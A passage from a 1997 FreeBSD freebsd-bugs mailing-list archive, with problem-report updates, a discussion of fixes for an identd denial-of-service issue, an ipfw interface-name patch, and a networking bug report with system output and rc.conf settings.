mode of jnethack o [1997/07/26] ports/4175 ports Update mail/nmh port to nmh-0.17 o [1997/07/27] kern/4180 Missing manpage? o [1997/07/27] kern/4181 Misspelled word in rc.conf. o [1997/07/27] bin/4182 netstat should always print the interface o [1997/07/27] bin/4183 How about upgrading bc to 1.04? o [1997/07/28] kern/4184 minor nits in sys/netatalk o [1997/07/28] bin/4187 The w command should have a larger tty fi o [1997/07/29] gnu/4188 Typo in header file o [1997/07/30] ports/4192 ports New port: Amulet o [1997/07/30] ports/4197 ports Update port(jp-man-doc-2.2.2d):japanese/m o [1997/07/31] conf/4201 Installing only X-User does not install c o [1997/07/31] ports/4203 ports Updated port file for the perl package p5 o [1997/07/31] bin/4204 ac printed wrong report about tty users o [1997/08/01] pending/4208gnats-adminNew syscons font o [1997/08/02] ports/4210 ports japanese/tgif port is updated. o [1997/08/02] ports/4211 ports trafshow port update o [1997/08/02] ports/4213 ports Wine needs LIB_DEPEND on Xpm o [1997/08/02] misc/4214 Mistyped comment for pop3pw service o [1997/08/02] i386/4215 bios.9 manpage does not get installed o [1997/08/02] bin/4216 dlsym returns null o [1997/08/03] ports/4219 ports TkRef submitted to Ports o [1997/08/03] pending/4221gnats-adminKernel mode pppd doesen't update wtmp on o [1997/08/03] docs/4223 dump(8) man page error o [1997/08/03] ports/4224 ports New Port: qpage (v3.2) o [1997/08/04] i386/4225 Missing parentheses in /usr/src/sys/i386/ 650 problems total. From owner-freebsd-bugs Mon Aug 4 11:31:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA18743 for bugs-outgoing; Mon, 4 Aug 1997 11:31:44 -0700 (PDT) Received: from In-Net.inba.fr (arthur.inba.fr [194.51.120.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA18724 for ; Mon, 4 Aug 1997 11:31:38 -0700 (PDT) Received: from uther.inba.fr (uther.inba.fr [194.51.120.62]) by In-Net.inba.fr (8.8.5/8.8.5) with SMTP id UAA02905 for ; Mon, 4 Aug 1997 20:29:10 +0200 (MET DST) Message-Id: <3.0.1.16.19970804203304.371f9c20@mail.inba.fr> X-Sender: psc@mail.inba.fr X-Mailer: Windows Eudora Pro Version 3.0.1 (16) Demo [F] Date: Mon, 04 Aug 1997 20:33:04 +0200 To: freebsd-bugs@freebsd.org From: Philippe SCHACK Subject: Strange login accounting in monthly run output Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id LAA18734 Sender: owner-freebsd-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, On some servers, I have the user 'date' listed in the login accounting every month. There is no /bin/date in /etc/passwd. From where doe's it come ? Subject: arthur monthly run output Doing login accounting: total 253.34 date 248.53 <---- ????? user1 2.84 user2 0.78 ... -- P. SCHÄCK phschack@inba.fr From owner-freebsd-bugs Mon Aug 4 12:01:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA20531 for bugs-outgoing; Mon, 4 Aug 1997 12:01:09 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA20524; Mon, 4 Aug 1997 12:01:03 -0700 (PDT) From: Steve Passe Received: (from fsmp@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id LAA02222; Mon, 4 Aug 1997 11:59:20 -0700 (PDT) Date: Mon, 4 Aug 1997 11:59:20 -0700 (PDT) Message-Id: <199708041859.LAA02222@freefall.freebsd.org> To: steve@visint.co.uk, fsmp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, smp@FreeBSD.ORG Subject: Re: docs/3951 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Missing smp(4) manpage. State-Changed-From-To: open-analyzed State-Changed-By: fsmp State-Changed-When: Mon Aug 4 11:56:50 PDT 1997 State-Changed-Why: Assigned to responsible party. Responsible-Changed-From-To: freebsd-bugs->smp@freebsd.org Responsible-Changed-By: fsmp Responsible-Changed-When: Mon Aug 4 11:56:50 PDT 1997 Responsible-Changed-Why: From owner-freebsd-bugs Mon Aug 4 12:22:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA21599 for bugs-outgoing; Mon, 4 Aug 1997 12:22:23 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA21591; Mon, 4 Aug 1997 12:22:12 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id VAA17520; Mon, 4 Aug 1997 21:21:52 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id VAA11267; Mon, 4 Aug 1997 21:20:03 +0200 (MET DST) Message-ID: <19970804212003.PP26929@uriah.heep.sax.de> Date: Mon, 4 Aug 1997 21:20:03 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: ru@ucb.crimea.ua (Ruslan Ermilov) Cc: freebsd-bugs@FreeBSD.ORG, torstenb@FreeBSD.ORG Subject: Re: CPSR #8: identd Denial of Service (fwd) References: <199708041614.TAA23764@relay.ucb.crimea.ua> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199708041614.TAA23764@relay.ucb.crimea.ua>; from Ruslan Ermilov on Aug 4, 1997 19:14:17 +0300 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Ruslan Ermilov wrote: > Index: libexec/identd/identd.c > =================================================================== > RCS file: /cvs/src/libexec/identd/identd.c,v > retrieving revision 1.4 > retrieving revision 1.5 > diff -r1.4 -r1.5 > 2c2 > < ** $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $ > --- > > ** $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $ > 180a181 > > int save_errno = errno; > 184a186 > > errno = save_errno; Blech. This patch is totally useless for non-OpenBSD users. (Of course, one could lookup the respective revisions in their CVS, and make a context diff. But why didn't he do this in the first place when submitting it to Bugtraq?) Cc to our pidentd maintainer. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Mon Aug 4 13:10:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA24129 for bugs-outgoing; Mon, 4 Aug 1997 13:10:02 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA24123; Mon, 4 Aug 1997 13:10:01 -0700 (PDT) Date: Mon, 4 Aug 1997 13:10:01 -0700 (PDT) Message-Id: <199708042010.NAA24123@hub.freebsd.org> To: freebsd-bugs Cc: From: Nate Williams Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Reply-To: Nate Williams Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4209; it has been noted by GNATS. From: Nate Williams To: Daniel Holmes Cc: nate@mt.sri.com, FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Date: Mon, 4 Aug 1997 14:07:35 -0600 (MDT) > Any ideas? None. Ask alex@FreeBSD.org. Nate From owner-freebsd-bugs Mon Aug 4 13:10:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA24164 for bugs-outgoing; Mon, 4 Aug 1997 13:10:20 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA24152; Mon, 4 Aug 1997 13:10:13 -0700 (PDT) From: Steve Passe Received: (from fsmp@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id NAA02609; Mon, 4 Aug 1997 13:08:29 -0700 (PDT) Date: Mon, 4 Aug 1997 13:08:29 -0700 (PDT) Message-Id: <199708042008.NAA02609@freefall.freebsd.org> To: jin@adv-pc-1.lbl.gov, fsmp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/3723 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: 2.2.2 & 3.0-SNAP fail on installing SMP machine State-Changed-From-To: open-closed State-Changed-By: fsmp State-Changed-When: Mon Aug 4 13:02:28 PDT 1997 State-Changed-Why: Problem was encountered in old, non-supported versions of the kernel. From owner-freebsd-bugs Mon Aug 4 14:37:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29275 for bugs-outgoing; Mon, 4 Aug 1997 14:37:48 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29260; Mon, 4 Aug 1997 14:37:42 -0700 (PDT) From: Steve Passe Received: (from fsmp@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id OAA03105; Mon, 4 Aug 1997 14:35:58 -0700 (PDT) Date: Mon, 4 Aug 1997 14:35:58 -0700 (PDT) Message-Id: <199708042135.OAA03105@freefall.freebsd.org> To: andreas@klemm.gtn.com, fsmp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/3491 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: SMP kernel, profiling broken, prof_machdep.c: i586_ctr_freq undeclared State-Changed-From-To: open-closed State-Changed-By: fsmp State-Changed-When: Mon Aug 4 14:30:04 PDT 1997 State-Changed-Why: i586_cnt_freq now available for SMP kernel. Note that although "config -pp ..." now creates a compilable and runnable kernel, the underlying timer issues have NOT yet been addressed in the SMP kernel and the results of the profiling code are probably not accurrate. From owner-freebsd-bugs Mon Aug 4 16:20:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA04965 for bugs-outgoing; Mon, 4 Aug 1997 16:20:52 -0700 (PDT) Received: from pat.idi.ntnu.no (0@pat.idi.ntnu.no [129.241.103.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA04941; Mon, 4 Aug 1997 16:20:32 -0700 (PDT) Received: from idt.unit.no (tegge@ikke.idi.ntnu.no [129.241.111.65]) by pat.idi.ntnu.no (8.8.6/8.8.6) with ESMTP id BAA10763; Tue, 5 Aug 1997 01:19:44 +0200 (MET DST) Message-Id: <199708042319.BAA10763@pat.idi.ntnu.no> To: ru@ucb.crimea.ua Cc: freebsd-bugs@FreeBSD.ORG, torstenb@FreeBSD.ORG Subject: Re: CPSR #8: identd Denial of Service (fwd) In-Reply-To: Your message of "Mon, 4 Aug 1997 19:14:17 +0300 (EET DST)" References: <199708041614.TAA23764@relay.ucb.crimea.ua> X-Mailer: Mew version 1.70 on Emacs 19.34.1 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 05 Aug 1997 01:19:44 +0200 From: Tor Egge Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Index: libexec/identd/identd.c > =================================================================== > RCS file: /cvs/src/libexec/identd/identd.c,v > retrieving revision 1.4 > retrieving revision 1.5 > diff -r1.4 -r1.5 > 2c2 > < ** $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $ > --- > > ** $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $ > 180a181 > > int save_errno = errno; > 184a186 > > errno = save_errno; > This patch causes the SIGCHLD handler to no longer clobber errno. While this is a bug fix, it should only affect the parent process and remove some bogus "main: select" error messages. Since the kernel might change during the call to k_getuid(), you still have the problem with possible infinite loops and wrong return values from k_getuid(). Several methods can be used to limit this problem: 1. alarm handler 2. setrlimit(RLIMIT_CPU,...) 3. count the number of calls to getbuf, and impose a reasonable limit. 4. Move the socket/uid lookup into the kernel (eliminate most of k_getuid). This also eliminates the problem of a wrong value being returned. Negative impact: About 200 bytes kernel bloat. 5. Don't run identd. I use method 4. - Tor Egge From owner-freebsd-bugs Mon Aug 4 16:49:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA06243 for bugs-outgoing; Mon, 4 Aug 1997 16:49:32 -0700 (PDT) Received: from wiley.csusb.edu (wiley.csusb.edu [139.182.2.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA06237 for ; Mon, 4 Aug 1997 16:49:27 -0700 (PDT) Received: from localhost (ccordero@localhost) by wiley.csusb.edu (8.8.5/8.6.11) with SMTP id QAA11417 for ; Mon, 4 Aug 1997 16:49:08 -0700 (PDT) Date: Mon, 4 Aug 1997 16:49:08 -0700 (PDT) From: Chad R Cordero To: freebsd-bugs@hub.freebsd.org Subject: make world fails after cvsup Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk make world fails on the following file: /usr/src/usr.bin/xinstall/../../bin/ls/stat_flags.c it complains of two undeclared functions ("UF_NOUNLINK", and "SF_NOUNLINK") in "flags_to_string" and "string_to_flag". How do I fix this? *************************************************** * Chad R Cordero * * Administrative Computing & Telecommunications * * * * http://tns.csusb.edu/ * *************************************************** From owner-freebsd-bugs Mon Aug 4 17:20:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA07887 for bugs-outgoing; Mon, 4 Aug 1997 17:20:09 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA07867; Mon, 4 Aug 1997 17:20:03 -0700 (PDT) Resent-Date: Mon, 4 Aug 1997 17:20:03 -0700 (PDT) Resent-Message-Id: <199708050020.RAA07867@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, richard@cogsci.ed.ac.uk Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA07681; Mon, 4 Aug 1997 17:14:47 -0700 (PDT) Message-Id: <199708050014.RAA07681@hub.freebsd.org> Date: Mon, 4 Aug 1997 17:14:47 -0700 (PDT) From: richard@cogsci.ed.ac.uk To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/4228: unmounting mfs filesystem does bogus dns lookups Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4228 >Category: bin >Synopsis: unmounting mfs filesystem does bogus dns lookups >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Aug 4 17:20:01 PDT 1997 >Last-Modified: >Originator: Richard Tobin >Organization: University of Edinburgh >Release: 2.2.2 >Environment: FreeBSD spottisvax.nonet 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Tue Aug 5 00:38:08 BST 1997 richard@spottisvax.nonet:/bigdisk/usr.src/sys/compile/SPOTTISVAX i386 >Description: /tmp is a memory filesystem. If I unmount it when I am not connected to the Internet, unmounting takes several minutes. ktrace indicates that umount is looking up the name "mfs". Presumably this is related to the fact that mount shows the filesystem as (eg) mfs:581 which looks like an NFS location. >How-To-Repeat: Install a nameserver on your machine. Ensure you are not connected to the internet. Mount a memory filesystem. Unmount it. Go for a cup of tea. >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 18:00:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA09624 for bugs-outgoing; Mon, 4 Aug 1997 18:00:31 -0700 (PDT) Received: from zen.nash.org (nash.pr.mcs.net [204.95.47.72]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA09616 for ; Mon, 4 Aug 1997 18:00:22 -0700 (PDT) Received: from zen.nash.org (localhost.zen.nash.org [127.0.0.1] (may be forged)) by zen.nash.org (8.8.6/8.8.5) with SMTP id TAA01676; Mon, 4 Aug 1997 19:59:21 -0500 (CDT) Message-ID: <33E67AE9.31DFF4F5@mcs.com> Date: Mon, 04 Aug 1997 19:59:21 -0500 From: Alex Nash X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2-STABLE i386) MIME-Version: 1.0 To: Daniel Holmes CC: freebsd-bugs@hub.freebsd.org Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers References: <199708041600.JAA07543@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Daniel Holmes wrote: > I did check the source to ipfw.c over the weekend, and it looks like > when it sets up the unit name and number, it sets the last > character from the string to a null but it looks like it gets > everything after the first digit on the unit number. At line 742 in ipfw.c: > > rule.fw_via_name[sizeof(rule.fw_via_name) - 1] = '\0'; > > changing that to > > rule.fw_via_name[sizeof(rule.fw_via_name)] = '\0'; You don't want that, it'll overwrite the unit field. The real problem is that the name field is fixed at 6 characters, even though net/if.h defines IFNAMSIZ to be 16. The following (briefly tested) patch discards some flexibility in ICMP type handling in return for a longer name size. Previously, any ICMP type from 0-255 could be used even though a only handful were useful (typically 0-18). Since the ip_fw structure couldn't be expanded beyond its current 108 byte size (due to setsockopt), I threw out some of the not-so-often used ICMP types -- those above 31. I've purposely resized the structure to 104 bytes to make it incompatible with previous versions of ipfw. Since the fine folks at Whistle Communications have kept the 2.2 and -current trees in sync, this patch should apply cleanly to both trees. Alex Index: src/sbin/ipfw/ipfw.c =================================================================== RCS file: /cvs/src/sbin/ipfw/ipfw.c,v retrieving revision 1.34.2.5 diff -c -r1.34.2.5 ipfw.c *** ipfw.c 1997/06/23 22:34:24 1.34.2.5 --- ipfw.c 1997/08/04 23:41:07 *************** *** 384,390 **** printf(" icmptype"); ! for (type_index = 0; type_index < 256; ++type_index) if (chain->fw_icmptypes[type_index / (sizeof(unsigned) * 8)] & (1U << (type_index % (sizeof(unsigned) * 8)))) { printf("%c%d", first == 1 ? ' ' : ',', type_index); --- 384,390 ---- printf(" icmptype"); ! for (type_index = 0; type_index < IP_FW_ICMPTYPES_DIM * sizeof(unsigned) * 8; ++type_index) if (chain->fw_icmptypes[type_index / (sizeof(unsigned) * 8)] & (1U << (type_index % (sizeof(unsigned) * 8)))) { printf("%c%d", first == 1 ? ' ' : ',', type_index); *************** *** 697,704 **** if ( *c != ',' && *c != '\0' ) show_usage("invalid ICMP type"); ! if (icmptype > 255) ! show_usage("ICMP types are between 0 and 255 inclusive"); types[icmptype / (sizeof(unsigned) * 8)] |= 1 << (icmptype % (sizeof(unsigned) * 8)); --- 697,704 ---- if ( *c != ',' && *c != '\0' ) show_usage("invalid ICMP type"); ! if (icmptype >= IP_FW_ICMPTYPES_DIM * sizeof(unsigned) * 8) ! show_usage("ICMP type out of range"); types[icmptype / (sizeof(unsigned) * 8)] |= 1 << (icmptype % (sizeof(unsigned) * 8)); Index: src/sys/netinet/ip_fw.h =================================================================== RCS file: /cvs/src/sys/netinet/ip_fw.h,v retrieving revision 1.23.2.2 diff -c -r1.23.2.2 ip_fw.h *** ip_fw.h 1997/06/20 23:05:34 1.23.2.2 --- ip_fw.h 1997/08/04 22:58:41 *************** *** 17,22 **** --- 17,24 ---- #ifndef _IP_FW_H #define _IP_FW_H + #include + /* * This union structure identifies an interface, either explicitly * by name or implicitly by IP address. The flags IP_FW_F_IIFNAME *************** *** 33,39 **** union ip_fw_if { struct in_addr fu_via_ip; /* Specified by IP address */ struct { /* Specified by interface name */ ! #define FW_IFNLEN 6 /* To keep structure on 2^x boundary */ char name[FW_IFNLEN]; short unit; /* -1 means match any unit */ } fu_via_if; --- 35,41 ---- union ip_fw_if { struct in_addr fu_via_ip; /* Specified by IP address */ struct { /* Specified by interface name */ ! #define FW_IFNLEN IFNAMSIZ char name[FW_IFNLEN]; short unit; /* -1 means match any unit */ } fu_via_if; *************** *** 58,64 **** u_short fw_pts[IP_FW_MAX_PORTS]; /* Array of port numbers to match */ u_char fw_ipopt,fw_ipnopt; /* IP options set/unset */ u_char fw_tcpf,fw_tcpnf; /* TCP flags set/unset */ ! #define IP_FW_ICMPTYPES_DIM (256 / (sizeof(unsigned) * 8)) unsigned fw_icmptypes[IP_FW_ICMPTYPES_DIM]; /* ICMP types bitmap */ long timestamp; /* timestamp (tv_sec) of last match */ union ip_fw_if fw_in_if, fw_out_if; /* Incoming and outgoing interfaces */ --- 60,66 ---- u_short fw_pts[IP_FW_MAX_PORTS]; /* Array of port numbers to match */ u_char fw_ipopt,fw_ipnopt; /* IP options set/unset */ u_char fw_tcpf,fw_tcpnf; /* TCP flags set/unset */ ! #define IP_FW_ICMPTYPES_DIM (32 / (sizeof(unsigned) * 8)) unsigned fw_icmptypes[IP_FW_ICMPTYPES_DIM]; /* ICMP types bitmap */ long timestamp; /* timestamp (tv_sec) of last match */ union ip_fw_if fw_in_if, fw_out_if; /* Incoming and outgoing interfaces */ From owner-freebsd-bugs Mon Aug 4 18:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA10578 for bugs-outgoing; Mon, 4 Aug 1997 18:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA10553; Mon, 4 Aug 1997 18:20:02 -0700 (PDT) Resent-Date: Mon, 4 Aug 1997 18:20:02 -0700 (PDT) Resent-Message-Id: <199708050120.SAA10553@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, marc@tear.com Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA10449; Mon, 4 Aug 1997 18:18:41 -0700 (PDT) Message-Id: <199708050118.SAA10449@hub.freebsd.org> Date: Mon, 4 Aug 1997 18:18:41 -0700 (PDT) From: marc@tear.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: conf/4229: Ethernet interface unreachable on bootup Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4229 >Category: conf >Synopsis: Ethernet interface unreachable on bootup >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Aug 4 18:20:01 PDT 1997 >Last-Modified: >Originator: Marc Mosko >Organization: Forte Systems >Release: FreeBSD 3.0-970522-SNAP >Environment: FreeBSD farpoint.pactel.com 3.0-970522-SNAP FreeBSD 3.0-970522-SNAP #0: Sun Aug 3 11:31:37 PDT 1997 root@farpoint.pactel.com:/usr/src/sys/compile/MARC i386 >Description: On bootup, the "de0" ethernet interface is unusable. I must delete the interface and recreate it w/ "ifconfig", then it is usable. I believe the actual Ethernet card is the SMC Etherpower 10/100 PCI. It is operating in 10 Mbps mode. Routed does not see the interface, nor does the "route" command. Yes, it's a recompiled kernel, but I checked with kernel.GENERIC and the problem exists there too. >How-To-Repeat: Below is info I thought might be useful. It shows the initial state via netstat and ifconfig and the commands I use to get the interface in a working state. Really, this is a workaround, not a fix. I've also included the /etc/rc.conf file. None of the other /etc/rc* files are modified. # netstat -nr Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire 127.0.0.1 127.0.0.1 UH 0 0 lo0 205.80.26.176/29 link#1 UC 0 0 # # ifconfig -a de0: flags=8843 mtu 1500 inet 205.80.26.179 netmask 0xfffffff8 broadcast 205.80.26.183 ether 00:00:c0:bc:37:bf lp0: flags=8810 mtu 1500 tun0: flags=8010 mtu 1500 sl0: flags=c010 mtu 552 lo0: flags=8049 mtu 16384 inet 127.0.0.1 netmask 0xff000000 # # ifconfig de0 delete # Aug 4 17:55:44 farpoint routed[55]: IP_DROP_MEMBERSHIP ALLHOSTS: Can't assign requested address Aug 4 17:55:44 farpoint routed[55]: IP_DROP_MEMBERSHIP ALLHOSTS: Can't assign requested address ifconfig de0 205.180.26.179 netmask 255.255.255.248 # Aug 4 17:56:00 farpoint routed[55]: ignore RTM_ADD without gateway Aug 4 17:56:00 farpoint routed[55]: ignore RTM_ADD without gateway Aug 4 17:56:00 farpoint routed[55]: IP_ADD_MEMBERSHIP ALLHOSTS: Address already in use Aug 4 17:56:00 farpoint routed[55]: IP_ADD_MEMBERSHIP ALLHOSTS: Address already in use Aug 4 17:56:00 farpoint routed[55]: setsockopt(IP_ADD_MEMBERSHIP RIP): Address already in use Aug 4 17:56:00 farpoint routed[55]: setsockopt(IP_ADD_MEMBERSHIP RIP): Address already in use Aug 4 17:56:00 farpoint routed[55]: write(rt_sock) RTM_ADD 205.180.26.176/29 --> 205.180.26.179: File exists Aug 4 17:56:00 farpoint routed[55]: write(rt_sock) RTM_ADD 205.180.26.176/29 --> 205.180.26.179: File exists Aug 4 17:56:00 farpoint routed[55]: sendto(de0, 224.0.0.2): No route to host Aug 4 17:56:00 farpoint routed[55]: sendto(de0, 224.0.0.2): No route to host # netstat -nr Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 205.180.26.177 UGc 0 0 de0 127.0.0.1 127.0.0.1 UH 0 0 lo0 205.180.26.176/29 link#1 UC 0 0 205.180.26.177 link#1 UHLW 1 0 # ifconfig -a de0: flags=8843 mtu 1500 inet 205.180.26.179 netmask 0xfffffff8 broadcast 205.180.26.183 ether 00:00:c0:bc:37:bf lp0: flags=8810 mtu 1500 tun0: flags=8010 mtu 1500 sl0: flags=c010 mtu 552 lo0: flags=8049 mtu 16384 inet 127.0.0.1 netmask 0xff000000 # #!/bin/sh # # This is rc.conf - a file full of useful variables that you can set # to change the default startup behavior of your system. # # All arguments must be in double or single quotes. # # $Id: rc.conf,v 1.12 1997/05/21 00:23:54 jkh Exp $ ############################################################## ### Important initial Boot-time options ##################### ############################################################## swapfile="NO" # Set to name of swapfile if aux swapfile desired. apm_enable="NO" # Set to YES if you want APM enabled. pccard_enable="NO" # Set to YES if you want to configure PCCARD devices. pccard_mem="DEFAULT" # If pccard_enable=YES, this is card memory address. pccard_ifconfig="NO" # Specialized pccard ethernet configuration (or NO). local_startup="/usr/local/etc/rc.d /usr/X11R6/etc/rc.d" # startup script dirs. ############################################################## ### Network configuration sub-section ###################### ############################################################## ### Basic network options: ### hostname="farpoint.pactel.com" # Set this! nisdomainname="NO" # Set to NIS domain if using NIS (or NO). firewall="NO" # Set to firewall type or NO for none. tcp_extensions="YES" # Allow RFC1323 & RFC1544 extensions (or NO). network_interfaces="de0 lo0" # List of network interfaces (lo0 is loopback). ifconfig_de0="inet 205.80.26.179 netmask 255.255.255.248" ifconfig_lo0="inet 127.0.0.1" # default loopback device configuration. #ifconfig_lo0_alias0="inet 127.0.0.254 netmask 0xffffffff" # Sample alias entry. ### Network daemon (miscellaneous) & NFS options: ### syslogd_enable="YES" # Run syslog daemon (or NO). syslogd_flags="" # Flags to syslogd (if enabled). inetd_flags="" # Optional flags to inetd (always enabled). named_enable="NO" # Run named, the DNS server (or NO). named_flags="" # Flags to named (if enabled). kerberos_server_enable="NO" # Run a kerberos master server (or NO). rwhod_enable="NO" # Run the rwho daemon (or NO). amd_enable="NO" # Run amd service with $amd_flags (or NO). amd_flags="-a /net -c 1800 -k i386 -d my.domain -l syslog /host /etc/amd.map" nfs_client_enable="NO" # This host is an NFS client (or NO). nfs_client_flags="-n 4" # Flags to nfsiod (if enabled). nfs_server_enable="NO" # This host is an NFS server (or NO). nfs_server_flags="-u -t 4" # Flags to nfsd (if enabled). weak_mountd_authentication="NO" # Running PCNFSD / other non-root nfsd (or NO). nfs_reserved_port_only="NO" # Provide NFS only on secure port (or NO). rpc_lockd_enable="NO" # Run NFS rpc.lockd (*broken!*) if nfs_server. rpc_statd_enable="YES" # Run NFS rpc.statd if nfs_server (or NO). portmap_enable="YES" # Run the portmapper service (or NO). portmap_flags="" # Flags to portmap (if enabled). xtend_enable="NO" # Run the X-10 power controller daemon. xtend_flags="" # Flags to xtend (if enabled). ### Network Time Services options: ### timed_enabled="NO" # Run the time daemon (or NO). timed_flags="" # Flags to timed (if enabled). ntpdate_enable="NO" # Run the ntpdate to sync time (or NO). ntpdate_flags="" # Flags to ntpdate (if enabled). xntpd_enable="NO" # Run xntpd Network Time Protocol (or NO). xntpd_flags="" # Flags to xntpd (if enabled). tickadj_enable="NO" # Run tickadj (or NO). tickadj_flags="-Aq" # Flags to tickadj (if enabled). # Network Information Services (NIS) options: ### nis_client_enable="NO" # We're an NIS client (or NO) nis_client_flags="" # Flags to ypbind (if enabled). nis_ypset_enable="NO" # Run ypset at boot time (or NO). nis_ypset_flags="" # Flags to ypset (if enabled). nis_server_enable="NO" # We're an NIS server (or NO) nis_server_flags="" # Flags to ypserv (if enabled). nis_ypxfrd_enable="NO" # Run rpc.ypxfrd at boot time (or NO). nis_ypxfrd_flags="" # Flags to rpc.ypxfrd (if enabled). nis_yppasswdd_enable="NO" # Run rpc.yppasswdd at boot time (or NO). nis_yppasswdd_flags="" # Flags to rpc.yppasswdd (if enabled). ### Network routing options: ### defaultrouter="205.180.26.177" # Set to default gateway (or NO). static_routes="" # Set to static route list (or leave empty). gateway_enable="NO" # Set to YES if this host will be a gateway. router_enable="YES" # Set to YES to 